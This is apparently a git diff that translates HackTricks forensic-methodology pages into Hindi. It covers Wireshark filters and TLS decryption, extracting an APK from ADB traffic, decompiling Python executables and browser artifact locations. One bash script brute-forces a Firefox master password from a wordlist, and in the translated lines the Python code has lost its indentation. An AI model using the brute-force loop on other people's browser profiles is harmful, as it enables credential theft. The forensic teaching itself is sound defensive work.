HTTPS traffic + TCP SYN +- HTTP और प्रारंभिक HTTPS ट्रैफ़िक + TCP SYN - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic + TCP SYN + DNS requests +- HTTP और प्रारंभिक HTTPS ट्रैफ़िक + TCP SYN + DNS अनुरोध -### Search +### खोज -If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_. You can add new layers to the main information bar (No., Time, Source, etc.) by pressing the right button and then the edit column. +यदि आप सत्रों के **पैकेट्स** के अंदर **सामग्री** के लिए **खोज** करना चाहते हैं तो _CTRL+f_ दबाएं। आप मुख्य जानकारी बार (No., Time, Source, आदि) में नए लेयर जोड़ सकते हैं दाएं बटन को दबाकर और फिर कॉलम संपादित करके। -### Free pcap labs +### मुफ्त pcap प्रयोगशालाएँ -**Practice with the free challenges of:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) +**मुफ्त चुनौतियों के साथ अभ्यास करें:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) -## Identifying Domains +## डोमेन की पहचान करना -You can add a column that shows the Host HTTP header: +आप एक कॉलम जोड़ सकते हैं जो होस्ट HTTP हेडर दिखाता है: ![](<../../../images/image (639).png>) -And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**): +और एक कॉलम जो एक प्रारंभिक HTTPS कनेक्शन से सर्वर नाम जोड़ता है (**ssl.handshake.type == 1**): ![](<../../../images/image (408) (1).png>) -## Identifying local hostnames +## स्थानीय होस्टनाम की पहचान करना -### From DHCP +### DHCP से -In current Wireshark instead of `bootp` you need to search for `DHCP` +वर्तमान Wireshark में `bootp` के बजाय आपको `DHCP` के लिए खोज करनी होगी ![](<../../../images/image (1013).png>) -### From NBNS +### NBNS से ![](<../../../images/image (1003).png>) -## Decrypting TLS +## TLS को डिक्रिप्ट करना -### Decrypting https traffic with server private key +### सर्वर प्राइवेट की के साथ https ट्रैफ़िक को डिक्रिप्ट करना _edit>preference>protocol>ssl>_ ![](<../../../images/image (1103).png>) -Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_) +_संपादित_ पर क्लिक करें और सर्वर और प्राइवेट की का सभी डेटा (_IP, Port, Protocol, Key file और password_) जोड़ें। -### Decrypting https traffic with symmetric session keys +### सममित सत्र कुंजी के साथ https ट्रैफ़िक को डिक्रिप्ट करना -Both Firefox and Chrome have the capability to log TLS session keys, which can be used with Wireshark to decrypt TLS traffic. This allows for in-depth analysis of secure communications. More details on how to perform this decryption can be found in a guide at [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). +Firefox और Chrome दोनों में TLS सत्र कुंजी लॉग करने की क्षमता होती है, जिसका उपयोग Wireshark के साथ TLS ट्रैफ़िक को डिक्रिप्ट करने के लिए किया जा सकता है। यह सुरक्षित संचार का गहन विश्लेषण करने की अनुमति देता है। इस डिक्रिप्शन को कैसे करना है, इस पर अधिक विवरण [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/) में एक गाइड में पाया जा सकता है। -To detect this search inside the environment for to variable `SSLKEYLOGFILE` +इसका पता लगाने के लिए वातावरण के अंदर `SSLKEYLOGFILE` वेरिएबल के लिए खोजें। -A file of shared keys will look like this: +साझा कुंजियों की एक फ़ाइल इस तरह दिखेगी: ![](<../../../images/image (820).png>) -To import this in wireshark go to \_edit > preference > protocol > ssl > and import it in (Pre)-Master-Secret log filename: +इसे wireshark में आयात करने के लिए _edit > preference > protocol > ssl > और इसे (Pre)-Master-Secret लॉग फ़ाइल नाम में आयात करें: ![](<../../../images/image (989).png>) -## ADB communication - -Extract an APK from an ADB communication where the APK was sent: +## ADB संचार +जहां APK भेजा गया था, ADB संचार से एक APK निकालें: ```python from scapy.all import * pcap = rdpcap("final2.pcapng") def rm_data(data): - splitted = data.split(b"DATA") - if len(splitted) == 1: - return data - else: - return splitted[0]+splitted[1][4:] +splitted = data.split(b"DATA") +if len(splitted) == 1: +return data +else: +return splitted[0]+splitted[1][4:] all_bytes = b"" for pkt in pcap: - if Raw in pkt: - a = pkt[Raw] - if b"WRTE" == bytes(a)[:4]: - all_bytes += rm_data(bytes(a)[24:]) - else: - all_bytes += rm_data(bytes(a)) +if Raw in pkt: +a = pkt[Raw] +if b"WRTE" == bytes(a)[:4]: +all_bytes += rm_data(bytes(a)[24:]) +else: +all_bytes += rm_data(bytes(a)) print(all_bytes) f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index ec397e99a..cee73210e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,77 +1,60 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# संकलित पायथन बाइनरी (exe, elf) को डिकंपाइल करें - .pyc से पुनः प्राप्त करें {{#include ../../../banners/hacktricks-training.md}} -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## संकलित बाइनरी से .pyc तक +एक **ELF** संकलित बाइनरी से आप **.pyc** प्राप्त कर सकते हैं: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +एक **python exe बाइनरी** को संकलित करने पर आप **.pyc** प्राप्त कर सकते हैं: ```bash python pyinstxtractor.py executable.exe ``` - ## From .pyc to python code -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +**.pyc** डेटा ("संकलित" पायथन) के लिए आपको **मूल** **पायथन** **कोड** को **निकालने** की कोशिश करनी चाहिए: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**सुनिश्चित करें** कि बाइनरी में **एक्सटेंशन** "**.pyc**" है (यदि नहीं, तो uncompyle6 काम नहीं करेगा) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +**uncompyle6** चलाते समय आपको **निम्नलिखित त्रुटियाँ** मिल सकती हैं: +### त्रुटि: अज्ञात जादुई संख्या 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +इसको ठीक करने के लिए आपको **निर्मित फ़ाइल के प्रारंभ में सही जादुई संख्या जोड़नी होगी**। -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**जादुई संख्याएँ पायथन संस्करण के साथ भिन्न होती हैं**, **पायथन 3.8** की जादुई संख्या प्राप्त करने के लिए आपको **पायथन 3.8** टर्मिनल खोलना होगा और निष्पादित करना होगा: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +इस मामले में python3.8 के लिए **magic number** **`0x550d0d0a`** है, फिर, इस त्रुटि को ठीक करने के लिए आपको **.pyc file** के **शुरुआत** में निम्नलिखित बाइट्स **जोड़ने** की आवश्यकता होगी: `0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**एक बार** जब आपने उस magic header को **जोड़ दिया** है, तो **त्रुटि ठीक हो जानी चाहिए।** +यहाँ एक सही तरीके से जोड़ा गया **.pyc python3.8 magic header** इस तरह दिखेगा: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -79,25 +62,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### त्रुटि: सामान्य त्रुटियों का डिकंपाइल करना -### Error: Decompiling generic errors +**अन्य त्रुटियाँ** जैसे: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` प्रकट हो सकती हैं। -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +इसका मतलब शायद यह है कि आपने **जादुई संख्या को सही तरीके से नहीं जोड़ा** या आपने **सही जादुई संख्या का उपयोग नहीं किया**, इसलिए **सुनिश्चित करें कि आप सही संख्या का उपयोग करें** (या एक नई संख्या आजमाएँ)। -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +पिछली त्रुटि दस्तावेज़ की जाँच करें। -Check the previous error documentation. +## स्वचालित उपकरण -## Automatic Tool +[**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) कई सामुदायिक उपलब्ध उपकरणों का संयोजन है जो शोधकर्ताओं को Python में लिखे गए निष्पादन योग्य फ़ाइलों को अनपैक और डिकंपाइल करने में सहायता करने के लिए डिज़ाइन किया गया है, विशेष रूप से उन फ़ाइलों के लिए जो py2exe और pyinstaller के साथ बनाई गई हैं। इसमें YARA नियम शामिल हैं जो यह पहचानने में मदद करते हैं कि क्या कोई निष्पादन योग्य फ़ाइल Python-आधारित है और निर्माण उपकरण की पुष्टि करते हैं। -The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: फ़ाइल का नाम: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' मौजूद नहीं है -### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example of the issue: +एक सामान्य समस्या एक अधूरी Python बाइटकोड फ़ाइल से संबंधित है जो **unpy2exe या pyinstxtractor के साथ अनपैकिंग प्रक्रिया के परिणामस्वरूप** उत्पन्न होती है, जो फिर **uncompyle6 द्वारा एक गायब Python बाइटकोड संस्करण संख्या के कारण पहचानी नहीं जाती**। इसे संबोधित करने के लिए, एक prepend विकल्प जोड़ा गया है, जो आवश्यक Python बाइटकोड संस्करण संख्या को जोड़ता है, जिससे डिकंपाइलिंग प्रक्रिया को सुगम बनाया जा सके। +समस्या का उदाहरण: ```python # Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py @@ -115,11 +96,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## python असेंबली का विश्लेषण -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +यदि आप पिछले चरणों का पालन करते हुए python "मूल" कोड निकालने में असमर्थ रहे, तो आप **असेंबली** निकालने की कोशिश कर सकते हैं (लेकिन **यह बहुत वर्णनात्मक नहीं है**, इसलिए **फिर से** मूल कोड निकालने की कोशिश करें)। [यहाँ](https://bits.theorem.co/protecting-a-python-codebase/) मैंने _.pyc_ बाइनरी को **डिसएसेंबल** करने के लिए एक बहुत सरल कोड पाया (कोड प्रवाह को समझने में शुभकामनाएँ)। यदि _.pyc_ python2 से है, तो python2 का उपयोग करें: ```bash >>> import dis >>> import marshal @@ -145,34 +124,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Python को Executable में बदलना -## Python to Executable +शुरू करने के लिए, हम आपको दिखाएंगे कि payloads को py2exe और PyInstaller में कैसे संकलित किया जा सकता है। -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### py2exe का उपयोग करके payload बनाने के लिए: +1. [http://www.py2exe.org/](http://www.py2exe.org) से py2exe पैकेज स्थापित करें। +2. payload के लिए (इस मामले में, हम इसे hello.py नाम देंगे), Figure 1 में दिए गए स्क्रिप्ट का उपयोग करें। "bundle_files" विकल्प जिसका मान 1 है, सब कुछ एक exe में शामिल करेगा, जिसमें Python interpreter भी शामिल है। +3. एक बार स्क्रिप्ट तैयार हो जाने पर, हम कमांड "python setup.py py2exe" जारी करेंगे। यह executable बनाएगा, ठीक Figure 2 की तरह। ```python from distutils.core import setup import py2exe, sys, os @@ -180,10 +157,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -200,12 +177,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### PyInstaller का उपयोग करके एक पेलोड बनाने के लिए: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. pip का उपयोग करके PyInstaller स्थापित करें (pip install pyinstaller)। +2. उसके बाद, हम कमांड “pyinstaller –onefile hello.py” जारी करेंगे (याद रखें कि ‘hello.py’ हमारा पेलोड है)। यह सब कुछ एक निष्पादन योग्य में बंडल कर देगा। ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -218,15 +193,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## संदर्भ - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 76fa3ef23..e7bdea6fb 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,6 +1,6 @@ {{#include ../../../banners/hacktricks-training.md}} -Here you can find interesting tricks for specific file-types and/or software: +यहाँ आप विशिष्ट फ़ाइल-प्रकारों और/या सॉफ़्टवेयर के लिए दिलचस्प तरकीबें पा सकते हैं: {{#ref}} .pyc.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 104a7530f..6fd29a456 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,139 +1,129 @@ -# Browser Artifacts +# ब्राउज़र आर्टिफैक्ट्स {{#include ../../../banners/hacktricks-training.md}} -
+## ब्राउज़र आर्टिफैक्ट्स -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +ब्राउज़र आर्टिफैक्ट्स में विभिन्न प्रकार के डेटा शामिल होते हैं जो वेब ब्राउज़रों द्वारा संग्रहीत होते हैं, जैसे कि नेविगेशन इतिहास, बुकमार्क और कैश डेटा। ये आर्टिफैक्ट्स ऑपरेटिंग सिस्टम के भीतर विशिष्ट फ़ोल्डरों में रखे जाते हैं, जो ब्राउज़रों के बीच स्थान और नाम में भिन्न होते हैं, फिर भी सामान्यतः समान डेटा प्रकारों को संग्रहीत करते हैं। -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} +यहाँ सबसे सामान्य ब्राउज़र आर्टिफैक्ट्स का सारांश है: -## Browsers Artifacts +- **नेविगेशन इतिहास**: उपयोगकर्ता द्वारा वेबसाइटों पर किए गए दौरे को ट्रैक करता है, जो दुर्भावनापूर्ण साइटों पर दौरे की पहचान करने के लिए उपयोगी है। +- **ऑटो-कंप्लीट डेटा**: बार-बार किए गए खोजों के आधार पर सुझाव, जो नेविगेशन इतिहास के साथ मिलाकर अंतर्दृष्टि प्रदान करते हैं। +- **बुकमार्क्स**: उपयोगकर्ता द्वारा त्वरित पहुँच के लिए सहेजे गए साइटें। +- **एक्सटेंशन और ऐड-ऑन**: उपयोगकर्ता द्वारा स्थापित ब्राउज़र एक्सटेंशन या ऐड-ऑन। +- **कैश**: वेब सामग्री (जैसे, चित्र, जावास्क्रिप्ट फ़ाइलें) को संग्रहीत करता है ताकि वेबसाइट लोडिंग समय में सुधार हो सके, फोरेंसिक विश्लेषण के लिए मूल्यवान। +- **लॉगिन्स**: संग्रहीत लॉगिन क्रेडेंशियल्स। +- **फेविकॉन**: वेबसाइटों से जुड़े आइकन, जो टैब और बुकमार्क में दिखाई देते हैं, उपयोगकर्ता दौरे पर अतिरिक्त जानकारी के लिए उपयोगी। +- **ब्राउज़र सत्र**: खुले ब्राउज़र सत्रों से संबंधित डेटा। +- **डाउनलोड्स**: ब्राउज़र के माध्यम से डाउनलोड की गई फ़ाइलों का रिकॉर्ड। +- **फॉर्म डेटा**: वेब फॉर्म में दर्ज की गई जानकारी, भविष्य के ऑटोफिल सुझावों के लिए सहेजी गई। +- **थंबनेल्स**: वेबसाइटों की पूर्वावलोकन छवियाँ। +- **कस्टम डिक्शनरी.txt**: शब्द जो उपयोगकर्ता द्वारा ब्राउज़र की डिक्शनरी में जोड़े गए। -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. +## फ़ायरफ़ॉक्स -Here's a summary of the most common browser artifacts: +फ़ायरफ़ॉक्स उपयोगकर्ता डेटा को प्रोफाइल में व्यवस्थित करता है, जो ऑपरेटिंग सिस्टम के आधार पर विशिष्ट स्थानों में संग्रहीत होते हैं: -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **लिनक्स**: `~/.mozilla/firefox/` +- **मैकओएस**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` +- **विंडोज**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -## Firefox +इन निर्देशिकाओं में एक `profiles.ini` फ़ाइल उपयोगकर्ता प्रोफाइल की सूची बनाती है। प्रत्येक प्रोफाइल का डेटा `profiles.ini` में `Path` वेरिएबल में नामित फ़ोल्डर में संग्रहीत होता है, जो `profiles.ini` के समान निर्देशिका में स्थित होता है। यदि किसी प्रोफाइल का फ़ोल्डर गायब है, तो इसे हटाया जा सकता है। -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +प्रोफाइल फ़ोल्डर के भीतर, आप कई महत्वपूर्ण फ़ाइलें पा सकते हैं: -- **Linux**: `~/.mozilla/firefox/` -- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` -- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` +- **places.sqlite**: इतिहास, बुकमार्क और डाउनलोड संग्रहीत करता है। विंडोज़ पर [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) जैसे उपकरण इतिहास डेटा तक पहुँच सकते हैं। +- इतिहास और डाउनलोड जानकारी निकालने के लिए विशिष्ट SQL क्वेरी का उपयोग करें। +- **bookmarkbackups**: बुकमार्क के बैकअप को शामिल करता है। +- **formhistory.sqlite**: वेब फॉर्म डेटा संग्रहीत करता है। +- **handlers.json**: प्रोटोकॉल हैंडलर्स का प्रबंधन करता है। +- **persdict.dat**: कस्टम डिक्शनरी शब्द। +- **addons.json** और **extensions.sqlite**: स्थापित ऐड-ऑन और एक्सटेंशन की जानकारी। +- **cookies.sqlite**: कुकी संग्रहण, विंडोज़ पर निरीक्षण के लिए [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) उपलब्ध है। +- **cache2/entries** या **startupCache**: कैश डेटा, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) जैसे उपकरणों के माध्यम से पहुँच योग्य। +- **favicons.sqlite**: फेविकॉन संग्रहीत करता है। +- **prefs.js**: उपयोगकर्ता सेटिंग्स और प्राथमिकताएँ। +- **downloads.sqlite**: पुरानी डाउनलोड डेटाबेस, अब places.sqlite में एकीकृत। +- **thumbnails**: वेबसाइट थंबनेल्स। +- **logins.json**: एन्क्रिप्टेड लॉगिन जानकारी। +- **key4.db** या **key3.db**: संवेदनशील जानकारी को सुरक्षित करने के लिए एन्क्रिप्शन कुंजी संग्रहीत करता है। -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. - -Within each profile folder, you can find several important files: - -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. - -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. - -To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -With the following script and call you can specify a password file to brute force: +अतिरिक्त रूप से, ब्राउज़र के एंटी-फिशिंग सेटिंग्स की जांच `prefs.js` में `browser.safebrowsing` प्रविष्टियों की खोज करके की जा सकती है, जो यह संकेत करती है कि सुरक्षित ब्राउज़िंग सुविधाएँ सक्षम या अक्षम हैं। +मास्टर पासवर्ड को डिक्रिप्ट करने के लिए, आप [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt) का उपयोग कर सकते हैं\ +इस स्क्रिप्ट और कॉल के साथ आप एक पासवर्ड फ़ाइल को ब्रूट फ़ोर्स करने के लिए निर्दिष्ट कर सकते हैं: ```bash:brute.sh #!/bin/bash #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` - ![](<../../../images/image (692).png>) ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Google Chrome उपयोगकर्ता प्रोफाइल को ऑपरेटिंग सिस्टम के आधार पर विशिष्ट स्थानों में संग्रहीत करता है: - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +इन निर्देशिकाओं के भीतर, अधिकांश उपयोगकर्ता डेटा **Default/** या **ChromeDefaultData/** फ़ोल्डरों में पाया जा सकता है। निम्नलिखित फ़ाइलें महत्वपूर्ण डेटा रखती हैं: -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: URLs, डाउनलोड और खोज कीवर्ड शामिल हैं। Windows पर, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) का उपयोग इतिहास पढ़ने के लिए किया जा सकता है। "Transition 